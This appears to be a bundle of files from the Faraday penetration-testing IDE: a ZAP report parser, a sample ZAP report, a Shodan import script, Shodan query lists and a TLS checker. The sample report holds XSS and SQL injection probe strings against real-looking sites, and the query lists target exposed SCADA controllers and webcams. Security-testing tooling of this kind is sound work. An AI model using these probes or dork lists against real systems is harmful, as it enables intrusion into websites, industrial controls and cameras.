169 self.ref=[]
170 if self.get_text_from_subnode('cweid'):
171 self.ref.append("CWE-"+self.get_text_from_subnode('cweid'))
172
173
174 self.items =[]
175 i=0
176 for n in item_node.findall('uri'):
177 n2 = item_node.findall('param')[i]
178
179
180 mregex = re.search("(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&amp;%\$\-]+)*@)*((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|localhost|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.(com|edu|gov|int|mil|net|org|biz|arpa|info|name|pro|aero|coop|museum|[a-zA-Z]{2}))[\:]*([0-9]+)*([/]*($|[a-zA-Z0-9\.\,\?\'\\\+&amp;%\$#\=~_\-]+)).*?$", n.text)
181
182 protocol = mregex.group(1)
183 host = mregex.group(4)
184 port =80
185 if protocol == 'https':
186 port=443
187 if mregex.group(11) is not None:
188 port = mregex.group(11)
189
190 item = {'uri' : n.text, 'param' : n2.text, 'host' : host, 'protocol' : protocol, 'port' : port}
191 self.items.append(item)
192 i=i+1
193 self.requests = "\n".join([i['uri'] for i in self.items])
194
195 def get_text_from_subnode(self, subnode_xpath_expr):
196 """
197 Finds a subnode in the host node and the retrieves a value from it.
198
199 @return An attribute value
200 """
201 sub_node = self.node.find(subnode_xpath_expr)
202 if sub_node is not None:
203 return sub_node.text
204
205 return None
206
207
208
209 class ZapPlugin(core.PluginBase):
210 """
211 Example plugin to parse zap output.
212 """
213 def __init__(self):
214 core.PluginBase.__init__(self)
215 self.id = "Zap"
216 self.name = "Zap XML Output Plugin"
217 self.plugin_version = "0.0.2"
218 self.version = "2.2.2"
219 self.framework_version = "1.0.0"
220 self.options = None
221 self._current_output = None
222 self.target = None
223 self._command_regex = re.compile(r'^(zap|sudo zap|\.\/zap).*?')
224
225 global current_path
226 self._output_file_path = os.path.join(self.data_path,
227 "zap_output-%s.xml" % self._rid)
228
229
230 def parseOutputString(self, output, debug = False):
231 """
232 This method will discard the output the shell sends, it will read it from
233 the xml where it expects it to be present.
234
235 NOTE: if 'debug' is true then it is being run from a test case and the
236 output being sent is valid.
237 """
238
239 parser = ZapXmlParser(output)
240 for site in parser.sites:
241 host = []
242 if site.host != site.ip:
243 host = [site.host]
244 h_id = self.createAndAddHost(site.ip)
245 i_id = self.createAndAddInterface(h_id, site.ip, ipv4_address=site.ip, hostname_resolution=host)
246 s_id = self.createAndAddServiceToInterface(h_id, i_id, "http", "tcp",
247 ports = [site.port],
248 status = 'open')
249 n_id = self.createAndAddNoteToService(h_id,s_id,"website","")
250 n2_id = self.createAndAddNoteToNote(h_id,s_id,n_id,site.host,"")
251
252 for item in site.items:
253 v_id = self.createAndAddVulnWebToService(h_id, s_id, item.name,
254 item.desc, website=site.host, severity=item.severity,
255 path=item.items[0]['uri'],params=item.items[0]['param'],
256 request=item.requests,ref=item.ref)
257
258 del parser
259
260
261
262
263
264
265
266 def processCommandString(self, username, current_path, command_string):
267 return None
268
269
270 def setHost(self):
271 pass
272
273
274 def createPlugin():
275 return ZapPlugin()
276
277 if __name__ == '__main__':
278 parser = ZapXmlParser(sys.argv[1])
279 for item in parser.items:
280 if item.status == 'up':
281 print item
0 <?xml version="1.0" encoding="UTF-8"?><report>
1 Report generated at Tue, 12 Jul 2011 08:32:22.
2 <alertitem>
3 <pluginid>40000</pluginid>
4 <alert>Cookie set without HttpOnly flag</alert>
5 <riskcode>1</riskcode>
6 <reliability>2</reliability>
7 <riskdesc>Low (Warning)</riskdesc>
8 <desc>A cookie has been set without the HttpOnly flag, which means that the cookie can be accessed by JavaScript. If a malicious script can be run on this page then the cookie will be accessible and can be transmitted to another site. If this is a session cookie then session hijacking may be possible.
9 </desc>
10 <uri>http://192.168.1.100/</uri>
11 <param>ASPSESSIONIDQSDRBCRQ=EEFHJOACLHOKLJHFNAFBBECK; path=/</param>
12 <otherinfo/>
13 <uri>http://www.web3.com.ar/ServFotoPorNoticia.asp</uri>
14 <param>ASPSESSIONIDCQATADBB=LMFPHGLBHIIEDFILGFJEJNGE; path=/</param>
15 <otherinfo/>
16 <uri>http://www.web1.com.ar/acceso/include/valida.asp</uri>
17 <param>ASPSESSIONIDSCBABSTB=MNPOKADDPAIDCDNBPGFDHGBF; path=/</param>
18 <otherinfo/>
19 <uri>http://www.web3.com.ar/files/</uri>
20 <param>ASPSESSIONIDCSCTCABB=HFCNOPJBMNJEAHDHMCKAHOBN; path=/</param>
21 <otherinfo/>
22 <uri>http://www.web2.com.ar/acceso/include/valida.asp</uri>
23 <param>ASPSESSIONIDQAASDACB=HADJFCIBOIANGBGNAOIDBGIL; path=/</param>
24 <otherinfo/>
25 <uri>http://www.web3.com.ar/</uri>
26 <param>ASPSESSIONIDSABQACDB=PAJBMJHBLOFELCIKBNLAAKKJ; path=/</param>
27 <otherinfo/>
28 <solution>Ensure that the HttpOnly flag is set for all cookies.
29 </solution>
30 <reference>www.owasp.org/index.php/HttpOnly
31 </reference>
32 </alertitem>
33 <alertitem>
34 <pluginid>40001</pluginid>
35 <alert>Password Autocomplete in browser</alert>
36 <riskcode>1</riskcode>
37 <reliability>2</reliability>
38 <riskdesc>Low (Warning)</riskdesc>
39 <desc>AUTOCOMPLETE attribute is not disabled in HTML FORM/INPUT element containing password type input. Passwords may be stored in browsers and retrieved.
40 </desc>
41 <uri>http://192.168.1.100/</uri>
42 <param>input</param>
43 <otherinfo/>
44 <uri>http://www.web3.com.ar/</uri>
45 <param>input</param>
46 <otherinfo/>
47 <uri>http://www.web3.com.ar/default.asp?errsession=1</uri>
48 <param>input</param>
49 <otherinfo/>
50 <uri>http://www.web3.com.ar/</uri>
51 <param>input</param>
52 <otherinfo/>
53 <uri>http://www.web3.com.ar/</uri>
54 <param>input</param>
55 <otherinfo/>
56 <uri>http://www.web2.com.ar/dealers.htm</uri>
57 <param>input</param>
58 <otherinfo/>
59 <uri>http://www.web3.com.ar/</uri>
60 <param>input</param>
61 <otherinfo/>
62 <solution>Turn off AUTOCOMPLETE attribute in form or individual input elements containing password by using AUTOCOMPLETE='OFF'
63 </solution>
64 <reference>http://msdn.microsoft.com/library/default.asp?url=/workshop/author/forms/autocomplete_ovr.asp
65 </reference>
66 </alertitem>
67 <alertitem>
68 <pluginid>40003</pluginid>
69 <alert>Cross site scripting</alert>
70 <riskcode>3</riskcode>
71 <reliability>2</reliability>
72 <riskdesc>High (Warning)</riskdesc>
73 <desc>Cross-site scripting or HTML injection is possible. Malicious script may be injected into the browser which appeared to be genuine content from the original site. These scripts can be used to execute arbitrary code or steal customer sensitive information such as user password or cookies.
74 Very often this is in the form of a hyperlink with the injected script embeded in the query strings. However, XSS is possible via FORM POST data, cookies, user data sent from another user or shared data retrieved from database.
75 Currently this check does not verify XSS from cookie or database. They should be checked manually if the application retrieve database records from another user's input.
76 </desc>
77 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=frm&amp;hhDia=DiaF&amp;hhMes=MesF&amp;hhAnno=%3CSCRIPT%3Ealert(%22OWASP%20ZAP%22);%3C/SCRIPT%3E</uri>
78 <param>hhAnno=&lt;SCRIPT&gt;alert("OWASP ZAP");&lt;/SCRIPT&gt;</param>
79 <otherinfo/>
80 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=frm&amp;hhDia=DiaF&amp;hhMes=%3CSCRIPT%3Ealert(%22OWASP%20ZAP%22);%3C/SCRIPT%3E&amp;hhAnno=AnnoF</uri>
81 <param>hhMes=&lt;SCRIPT&gt;alert("OWASP ZAP");&lt;/SCRIPT&gt;</param>
82 <otherinfo/>
83 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=frm&amp;hhDia=%3CSCRIPT%3Ealert(%22OWASP%20ZAP%22);%3C/SCRIPT%3E&amp;hhMes=MesF&amp;hhAnno=AnnoF</uri>
84 <param>hhDia=&lt;SCRIPT&gt;alert("OWASP ZAP");&lt;/SCRIPT&gt;</param>
85 <otherinfo/>
86 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=%3CSCRIPT%3Ealert(%22OWASP%20ZAP%22);%3C/SCRIPT%3E&amp;hhDia=DiaF&amp;hhMes=MesF&amp;hhAnno=AnnoF</uri>
87 <param>hhFrm=&lt;SCRIPT&gt;alert("OWASP ZAP");&lt;/SCRIPT&gt;</param>
88 <otherinfo/>
89 <solution>Do not trust client side input even if there is client side validation. Sanitize potentially danger characters in the server side. Very often filtering the &lt;, &gt;, " characters prevented injected script to be executed in most cases. However, sometimes other danger meta-characters such as ' , (, ), /, &amp;, ; etc are also needed.
90 In addition (or if these characters are needed), HTML encode meta-characters in the response. For example, encode &lt; as &amp;lt;
91
92 </solution>
93 <reference>The OWASP guide at http://www.owasp.org/documentation/guide
94 http://www.technicalinfo.net/papers/CSS.html
95 http://www.cgisecurity.org/articles/xss-faq.shtml
96 http://www.cert.org/tech_tips/malicious_code_FAQ.html
97 http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html
98
99 </reference>
100 </alertitem>
101 <alertitem>
102 <pluginid>40004</pluginid>
103 <alert>Cross site scripting without brackets</alert>
104 <riskcode>3</riskcode>
105 <reliability>1</reliability>
106 <riskdesc>High (Suspicious)</riskdesc>
107 <desc>Cross-site scripting or HTML injection is possible without '&lt;' and '&gt;'. Malicious script may be injected into the browser which appeared to be genuine content from the original site. These scripts can be used to execute arbitrary code or steal customer sensitive information such as user password or cookies.
108 Very often this is in the form of a hyperlink with the injected script embeded in the query strings. However, XSS is possible via FORM POST data, cookies, user data sent from another user or shared data retrieved from database.
109 Currently this check does not verify XSS from cookie or database. They should be checked manually if the application retrieve database records from another user's input.
110 </desc>
111 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=frm&amp;hhDia=DiaF&amp;hhMes=MesF&amp;hhAnno=paros%22%20style=%22background:url(javascript:alert('OWASP%20ZAP'))</uri>
112 <param>hhAnno=paros" style="background:url(javascript:alert('OWASP ZAP'))</param>
113 <otherinfo/>
114 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=frm&amp;hhDia=DiaF&amp;hhMes=paros%22%20style=%22background:url(javascript:alert('OWASP%20ZAP'))&amp;hhAnno=%3CSCRIPT%3Ealert(%22OWASP%20ZAP%22);%3C/SCRIPT%3E</uri>
115 <param>hhMes=paros" style="background:url(javascript:alert('OWASP ZAP'))</param>
116 <otherinfo/>
117 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=frm&amp;hhDia=paros%22%20style=%22background:url(javascript:alert('OWASP%20ZAP'))&amp;hhMes=MesF&amp;hhAnno=%3CSCRIPT%3Ealert(%22OWASP%20ZAP%22);%3C/SCRIPT%3E</uri>
118 <param>hhDia=paros" style="background:url(javascript:alert('OWASP ZAP'))</param>
119 <otherinfo/>
120 <uri>http://www.web3.com.ar/Mes.asp?hhFrm=paros%22%20style=%22background:url(javascript:alert('OWASP%20ZAP'))&amp;hhDia=DiaF&amp;hhMes=MesF&amp;hhAnno=%3CSCRIPT%3Ealert(%22OWASP%20ZAP%22);%3C/SCRIPT%3E</uri>
121 <param>hhFrm=paros" style="background:url(javascript:alert('OWASP ZAP'))</param>
122 <otherinfo/>
123 <solution>Do not trust client side input even if there is client side validation. Sanitize potentially danger characters in the server side. Very often filtering the &lt;, &gt;, " characters prevented injected script to be executed in most cases. However, sometimes other danger meta-characters such as ' , (, ), /, &amp;, ; etc are also needed.
124 In addition (or if these characters are needed), HTML encode meta-characters in the response. For example, encode &lt; as &amp;lt;
125
126 </solution>
127 <reference>The OWASP guide at http://www.owasp.org/documentation/guide
128 http://www.technicalinfo.net/papers/CSS.html
129 http://www.cgisecurity.org/articles/xss-faq.shtml
130 http://www.cert.org/tech_tips/malicious_code_FAQ.html
131 http://sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html
132
133 </reference>
134 </alertitem>
135 <alertitem>
136 <pluginid>40030</pluginid>
137 <alert>SQL Injection</alert>
138 <riskcode>3</riskcode>
139 <reliability>2</reliability>
140 <riskdesc>High (Warning)</riskdesc>
141 <desc>SQL injection is possible. User parameters submitted will be formulated into a SQL query for database processing. If the query is built by simple 'string concatenation', it is possible to modify the meaning of the query by carefully crafting the parameters. Depending on the access right and type of database used, tampered query can be used to retrieve sensitive information from the database or execute arbitrary code. MS SQL and PostGreSQL, which supports multiple statements, may be exploited if the database access right is more powerful.
142 This can occur in URL query strings, POST paramters or even cookies. Currently check on cookie is not supported by Paros. You should check SQL injection manually as well as some blind SQL injection areas cannot be discovered by this check.
143 </desc>
144 <uri>http://www.web3.com.ar/buscador.asp</uri>
145 <param>hId=&amp;hAreturn=&amp;hAccion=OK&amp;txtBuscar=test&amp;x=0&amp;y=0%27+AND+%271%27%3D%271</param>
146 <otherinfo/>
147 <uri>http://www.web3.com.ar/buscador.asp</uri>
148 <param>hId=&amp;hAreturn=&amp;hAccion=OK%22+OR+%221%22%3D%221&amp;txtBuscar=test&amp;x=0&amp;y=0</param>
149 <otherinfo/>
150 <solution>Do not trust client side input even if there is client side validation. In general, If the input string is numeric, type check it.
151 If the application used JDBC, use PreparedStatement or CallableStatement with parameters passed by '?'
152 If the application used ASP, use ADO Command Objects with strong type checking and parameterized query.
153 If stored procedure or bind variables can be used, use it for parameter passing into query. Do not just concatenate string into query in the stored procedure!
154 Do not create dynamic SQL query by simple string concatentation.
155 Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg if the application require reading one table only, grant such access to the application. Avoid using 'sa' or 'db-owner'.
156
157 </solution>
158 <reference>The OWASP guide at http://www.owasp.org/documentation/guide
159 http://www.sqlsecurity.com/DesktopDefault.aspx?tabid=23
160 http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
161 For Oracle database, refer to http://www.integrigy.com/info/IntegrigyIntrotoSQLInjectionAttacks.pdf
162
163 </reference>
164 </alertitem>
165 </report>
0 couchdbkit==0.6.5
1 mockito==0.5.1
2 whoosh==2.5.5
3 argparse==1.1
4 IPy==0.75
5 restkit==4.2.2
6 requests==1.2.3
7 tornado==3.2
8 flask==0.10.1
9 colorama==0.3.2
10 psycopg2==2.5.4
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import shodan
8 import sys
9 import xmlrpclib
10 import argparse
11 import base64
12
13 __author__ = "Francisco Amato"
14 __copyright__ = "Copyright 2014, Faraday Project"
15 __credits__ = ["Francisco Amato"]
16 __license__ = ""
17 __version__ = "1.0.1"
18 __maintainer__ = "Francisco Amato"
19 __email__ = "[email protected]"
20 __status__ = "Development"
21
22 # Configuration
23 SHODAN_API_KEY = "INSERT SHODAN KEY HERE"
24
25 def send_faraday(result):
26 print 'IP: %s' % result['ip_str']
27
28 if result['data'] is not None:
29 result['data'] = base64.b64encode(str(result['data'])) #fix: to avoid non ascii caracters
30
31 if args.debug == "1":
32 print '==============='
33 for key in result.keys():
34 print "kname:" + key + ", value:" + str(result[key])
35
36 h_id = api.createAndAddHost(str(result['ip_str']),str(result['os']) if result['os'] is not None else "")
37 i_id = api.createAndAddInterface(h_id,str(result['ip_str']),"00:00:00:00:00:00", str(result['ip_str']), "0.0.0.0", "0.0.0.0",[],
38 "0000:0000:0000:0000:0000:0000:0000:0000","00","0000:0000:0000:0000:0000:0000:0000:0000",
39 [],"",result['hostnames'] if result['hostnames'] is not None else [])
40 s_id = api.createAndAddServiceToInterface(h_id, i_id, str(result['product']) if result.has_key('product') else str(result['port']),
41 "tcp",str(result['port']),"open",str(result['version']) if result.has_key('version') else "")
42 if result['data'] is not None:
43 n_id = api.createAndAddNoteToService(h_id,s_id,"shadon_response",str(result['data']))
44
45 #Notes - Information geo/shadon
46 n_id = api.createAndAddNoteToHost(h_id,"geo_country",result['location']['country_name'] if result['location']['country_name'] is not None else "" )
47 n_id = api.createAndAddNoteToHost(h_id,"geo_latitude",result['location']['latitude'] if result['location']['latitude'] is not None else "")
48 n_id = api.createAndAddNoteToHost(h_id,"geo_longitude",result['location']['longitude'] if result['location']['longitude'] is not None else "")
49 n_id = api.createAndAddNoteToHost(h_id,"shadon_q",args.shodan_query)
50
51 # Input validation
52
53 #arguments parser
54 parser = argparse.ArgumentParser(prog='shodan_faraday', epilog="Example: ./%(prog)s.py -q Apache")
55 parser.add_argument('-q', '--query', action="store", type=str, required=True, dest='shodan_query', help='shadon search query')
56 parser.add_argument('-c', '--count', action="store", type=str, required=False, dest='count', default="50", help='Numbers of results to get, for all results use "all"')
57 parser.add_argument('-a', '--shodan_key', action="store", type=str, dest='skey', default=SHODAN_API_KEY, help='shodan key api')
58 parser.add_argument('--faradayapi', '-fapi', action='store', type=str, dest='faradayapi', default="http://127.0.0.1:9876/", help='Faraday URL Api')
59 parser.add_argument('--debug', '-d', action='store', type=str, dest='debug', default="0", help='Debug <0>,<1>')
60 parser.add_argument('--version', "-v", action='version', version='%(prog)s v1.1')
61
62 #arguments put in variables
63 args = parser.parse_args()
64
65 try:
66 # Setup the apis
67 api = xmlrpclib.ServerProxy(args.faradayapi)
68 shodan_api = shodan.Shodan(args.skey)
69 c_page=1
70
71 results = shodan_api.search(args.shodan_query)
72 print 'Results found: %s, query "%s"' % (results['total'], args.shodan_query)
73
74 for r in shodan_api.search_cursor(args.shodan_query, minify=True, retries=5):
75 if args.count != "all" and c_page >= int(args.count):
76 break
77
78 send_faraday(r)
79 c_page+=1
80
81
82 except xmlrpclib.ProtocolError as e:
83 if e.errcode == 500:
84 print "[ERROR] Faraday Api error:", sys.exc_info()[0]
85 pass
86 else:
87 print "[ERROR] Unexpected error:", sys.exc_info()[0]
88 print e.__dict__
89 raise
90 except shodan.client.APIError as e:
91 print "[ERROR] :", sys.exc_info()[0]
92 raise
93
94 except Exception as e:
95 print "Unexpected error:", sys.exc_info()[0]
96 print e.__dict__
97 raise
98
99
0 ###
1 ## Faraday Penetration Test IDE - Community Version
2 ## Copyright (C) 2014 Infobyte LLC (http://www.infobytesec.com/)
3 ## See the file 'doc/LICENSE' for the license information
4 ###
5 # Version 1.0.0
6 title:scada
7 modicon
8 VxWorks
9 title:ISC Scada
10 flexim
11 plc
12 port:161 simatic
13 Moxa
14 Simatic+S7
15 Portal0000
16 powered by SpiderControl TM
17 niagara_audit -login
18 AKCP
19 schneider
20 port:44818
21 Z-World Rabbit 200 OK
22 EIG Embedded Web Server
23 iq3
24 THUS plc
25 title:phasefale
26 Stulz GmbH Klimatechnik
27 enteliTOUCH
28 HMI, XP277
29 title:adcon
30 wince Content-Length:12581
31 honeywell Excel
32 honeywell BNA
33 Console terminal type
34 CLP
35 GoAhead-Webs InitialPage.asp
36 RuggedCom
37 Bacnet
38 200 OK i.LON
39 enterasys
40 serverview
41 IPC@CHIP title:Start
42 Schleifenbauer
43 SCHNEIDER TSX ETG3021
44 Simatic -S7 HMI
45 Simatic -S7 -HMI
46 Jetty 3.1.8 (Windows 2000 5.0 x86) 200 OK
47 A850+Telemetry+Gateway
48 ABB+Webmodule
49 Allen-Bradley
50 /BroadWeb/
51 Cimetrics+Eplus+Web+Server
52 CIMPLICITY
53 CitectSCADA
54 EIG+Embedded+Web+Server
55 eiPortal
56 EnergyICT
57 ioLogik
58 Modbus+Bridge
59 ModbusGW
60 Modicon+M340+CPU
61 Niagara+Web+Server
62 NovaTech+HTTPD
63 Powerlink
64 Reliance+4+Control+Server
65 RTS+Scada
66 RTU560
67 SIMATIC+NET
68 Simatic+S7
69 SoftPLC
70 TAC/Xenta
71 WAGO
72 webSCADA-Modbus
0 ###
1 ## Faraday Penetration Test IDE - Community Version
2 ## Copyright (C) 2014 Infobyte LLC (http://www.infobytesec.com/)
3 ## See the file 'doc/LICENSE' for the license information
4 ###
5 # Version 1.0.0
6 Server:SQ-WEBCAM
7 Basic realm="logitec"
8 webcamxp
9 Axis+camera
10 Axis+video
11 Grandstream
12 IQinVision
13 Mobotix
14 Panasonic AVC Server
15 Samsung camera
16 TRENDnet
17 Vivotek
18 netcam
19 axis-cgi/jpg
20 view/index.shtml
21 Boa+ipcam
22 d-Link Internet Camera
23 Server: GeoHttpServer
24 imagiatek+ipcam
25 title:"IP CAMERA Viewer" Content-Length: 703
26 title:"DCS" camera
27 LNE3003 Wireless IP Camera
28 FlexiDome
29 title:"RPi Cam Control"
30 title:"WVC210 Wireless-G PTZ Internet Camera with Audio"
31 title:"WV"+Camera
32 airlive aircam
0 #!/usr/bin/python2
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 #libraries
9 import subprocess
10 import argparse
11 import re
12 import sys
13 import xml.etree.cElementTree as ET
14
15 if subprocess.call("openssl version", shell=True, stdout=subprocess.PIPE):
16 sys.stderr.write("[+]OpenSSL package needed\n")
17 exit(1)
18
19 program_options = ('key', 'ren', 'sign', 'serv', 'cyph', 'forw', 'heart', 'crime', 'all')
20 openssl_protocols = {'ssl3':'SSLv3',
21 'tls1':'TLSv1',
22 'tls1_1':'TLSv1.1',
23 'tls1_2':'TLSv1.2'}
24 openssl_insecure_cyphers = {'RC','MD5','MD4','MD2','SHA0','SHA1', 'NULL','aNULL',
25 'eNULL','ADH','EXP','DES','LOW','PSK','SRP','DSS'}
26 openssl_cyphers = subprocess.check_output("openssl ciphers 'ALL:eNULL'",shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE).split(":")
27
28 parser = argparse.ArgumentParser(prog='SensorProbeClient', epilog="Scan availables: | KeySize: key | Signature Cipher: sign |Renegotiation: ren | Services available: serv | Cypher availables: cyph | Forward Secrecy: forw | Heartbleed test: heart | Crime test: crime")
29 parser.add_argument('-r', action="store", type=str, choices=program_options, dest='choice', default="all", nargs='+', help='store the scan(s) requested by the users')
30 parser.add_argument('-port', '--port', action="store", type=int, dest='port', default="443", help='store the port to scan')
31 parser.add_argument('--xml', action='store', type=str, dest='xmloutput', help='enabled the XML output in a specified file')
32 parser.add_argument('host', nargs='+', type=str, help='store the target\'s host address (domain name or ipv4) separated by a space')
33 parser.add_argument('--version', "-v", action='version', version='%(prog)s v1.0 by Morgan Lemarechal')
34
35 args = parser.parse_args()
36
37 def connection_test(host,port):
38 for i in range(1,6):
39 try:
40 subprocess.check_output("openssl s_client -connect {}:{} < /dev/null".format(host,port), shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
41 return
42 except subprocess.CalledProcessError:
43 print "[+]Connection failed... [ {} / 5 ]".format(i)
44 print "[+]Connection to the host impossible"
45 exit(1)
46
47 def basic_connect(host,port):
48 result = subprocess.check_output("openssl s_client -connect {}:{} < /dev/null".format(host,port), shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
49 return result.split("\n")
50
51 def complex_connect(host,port):
52 result = ""
53 for sprotocol, protocol in openssl_protocols.iteritems():
54 try:
55 result += subprocess.check_output("openssl s_client -{} -connect {}:{} < /dev/null".format(sprotocol,host,port),shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
56 except subprocess.CalledProcessError:
57 #-----------------------------------XML_Export-----------------------------------#
58 if args.xmloutput:
59 protocolx = ET.SubElement(scan, protocol)
60 protocolx.text="no"
61 #-----------------------------------XML_Export-----------------------------------#
62 if protocol == "TLSv1.1" or protocol == "TLSv1.2":
63 print " \033[0;41m{} not supported\033[0m".format(protocol)
64 else:
65 print " {} not supported".format(protocol)
66 return result.split("\n")
67 def tlsdebug_connect(host,port):
68 result = subprocess.check_output("openssl s_client -tlsextdebug -connect {}:{} < /dev/null".format(host,port),shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
69 return result.split("\n")
70
71 def sign_connect(host,port):
72 signScript = """
73 echo "HEAD / HTTP/1.0
74 EOT
75 " \
76 | openssl s_client -connect {}:{} 2>&1 \
77 | sed -n '/-----BEGIN CERTIFICATE-----/,/-----END CERTIFICATE-----/p' \
78 | openssl x509 -noout -text -certopt no_signame""".format(host,port)
79 result = subprocess.check_output("{}".format(signScript),shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
80 return result.split("\n")
81
82 def cypher_connect(host,port):
83 result = ""
84 for cyph in openssl_cyphers:
85 try:
86 result += subprocess.check_output("openssl s_client -cipher {} -connect {}:{} < /dev/null".format(cyph,host,port),shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
87 except subprocess.CalledProcessError:
88 pass
89 return result.split("\n")
90
91 def forward_connect(host,port):
92 result = ""
93 try:
94 result = subprocess.check_output("openssl s_client -cipher EDH,EECDH -connect {}:{} < /dev/null".format(host,port),shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
95 except subprocess.CalledProcessError:
96 #-----------------------------------XML_Export-----------------------------------#
97 if args.xmloutput:
98 forward_secrecy = ET.SubElement(scan, "forward_secrecy")
99 forward_secrecy.text="no"
100 #-----------------------------------XML_Export-----------------------------------#
101 print "\033[0;41m[+]Forward Secrecy not supported\033[0m"
102 return result.split("\n")
103
104 def key_check(host,port):
105 for line in basic_connect(host,port):
106 if "Server public key is" in line:
107 #-----------------------------------XML_Export-----------------------------------#
108 if args.xmloutput:
109 key_size = ET.SubElement(scan, "key")
110 key_size.text = str(re.findall(r'\d+', line)[0])
111 #-----------------------------------XML_Export-----------------------------------#
112 print "[+]{}\n".format(line),
113 if int(re.findall(r'\d+', line)[0]) < 2048:
114 print ("\033[0;41m[+]Insecure key size, it must be higher than 2048 bits\033[0m")
115 return
116
117 def ren_check(host,port):
118 for line in basic_connect(host,port):
119 if "Secure Renegotiation" in line:
120 if "IS NOT supported" in line:
121 #-----------------------------------XML_Export-----------------------------------#
122 if args.xmloutput:
123 renegotiation = ET.SubElement(scan, "renegotiation")
124 renegotiation.text="no"
125 #-----------------------------------XML_Export-----------------------------------#
126 print "\033[0;41m[+]Secure renegotiation not supported\033[0m"
127 else:
128 #-----------------------------------XML_Export-----------------------------------#
129 if args.xmloutput:
130 renegotiation = ET.SubElement(scan, "renegotiation")
131 renegotiation.text="yes"
132 #-----------------------------------XML_Export-----------------------------------#
133 print "[+]"+line
134 return
135
136
137 def sign_check(host,port):
138 for line in sign_connect(host,port):
139 if "Signature Algorithm" in line:
140 insecure = False
141 for insecure_cypher in openssl_insecure_cyphers:
142 if insecure_cypher in line or insecure_cypher.upper() in line or insecure_cypher.lower() in line:
143 insecure = True
144 print "\033[0;41m[+]{}\033[0m\n".format(line.replace(" ","")),
145 #-----------------------------------XML_Export-----------------------------------#
146 if args.xmloutput:
147 signature_cipher = ET.SubElement(scan, line.replace(" Signature Algorithm: ",""))
148 signature_cipher.text = "signature insecure"
149 #-----------------------------------XML_Export-----------------------------------#
150 break
151 if not insecure:
152 #-----------------------------------XML_Export-----------------------------------#
153 if args.xmloutput:
154 signature_cipher = ET.SubElement(scan, line.replace(" Signature Algorithm: ",""))
155 signature_cipher.text = "signature secure"
156 #-----------------------------------XML_Export-----------------------------------#
157 print "[+]"+line.replace(" ","")
158
159 def serv_check(host,port):
160 print "[+]Protocols supported by the server:"
161 for line in complex_connect(host,port):
162 for i,protocol in enumerate(openssl_protocols):
163 if line.endswith(openssl_protocols[protocol]):
164 if openssl_protocols[protocol] == "SSLv3" or openssl_protocols[protocol] == "TLSv1":
165 print " \033[0;41m"+openssl_protocols[protocol],
166 else:
167 print " "+openssl_protocols[protocol],
168 #-----------------------------------XML_Export-----------------------------------#
169 if args.xmloutput:
170 protocolx = ET.SubElement(scan, openssl_protocols[protocol])
171 protocolx.text="yes"
172 #-----------------------------------XML_Export-----------------------------------#
173 if "Cipher " in line:
174 print "|| Default cipher:{}\033[0m".format(line.replace(" Cipher : ","").replace("0000",""))
175
176 def cyph_check(host,port):
177 print "[+]Ciphers supported by the server (it may takes a minute):"
178 for line in cypher_connect(host,port):
179 if "Cipher : " in line:
180 insecure = False
181 for insecure_cypher in openssl_insecure_cyphers:
182 if insecure_cypher in line or insecure_cypher.upper() in line or insecure_cypher.lower() in line:
183 #-----------------------------------XML_Export-----------------------------------#
184 if args.xmloutput:
185 cypher = ET.SubElement(scan, line.replace(" Cipher : ",""))
186 cypher.text = "insecure"
187 #-----------------------------------XML_Export-----------------------------------#
188 print " \033[0;41m{}\033[0m\n".format(line.replace(" Cipher : ","Supported cipher suite: [INSECURE] ")),
189 insecure = True
190 break
191 if not insecure:
192 #-----------------------------------XML_Export-----------------------------------#
193 if args.xmloutput:
194 cypher = ET.SubElement(scan, line.replace(" Cipher : ",""))
195 cypher.text = "secure"
196 #-----------------------------------XML_Export-----------------------------------#
197 print line.replace(" Cipher : "," Supported cipher suite: [SECURE] ")
198
199 def forw_check(host,port):
200 for line in forward_connect(host,port):
201 if "Cipher : " in line:
202 #-----------------------------------XML_Export-----------------------------------#
203 if args.xmloutput:
204 forward_secrecy = ET.SubElement(scan, "forward_secrecy")
205 forward_secrecy.text="yes"
206 #-----------------------------------XML_Export-----------------------------------#
207 print "[+]{} (prefered)".format(line.replace(" Cipher : ","Forward Secrecy supported: "))
208 return
209
210 def heart_check(host,port):
211 for line in tlsdebug_connect(host,port):
212 if "TLS server extension heartbeat" in line :
213 #-----------------------------------XML_Export-----------------------------------#
214 if args.xmloutput:
215 heartbeat = ET.SubElement(scan, "heartbeat")
216 heartbeat.text = "yes"
217 #-----------------------------------XML_Export-----------------------------------#
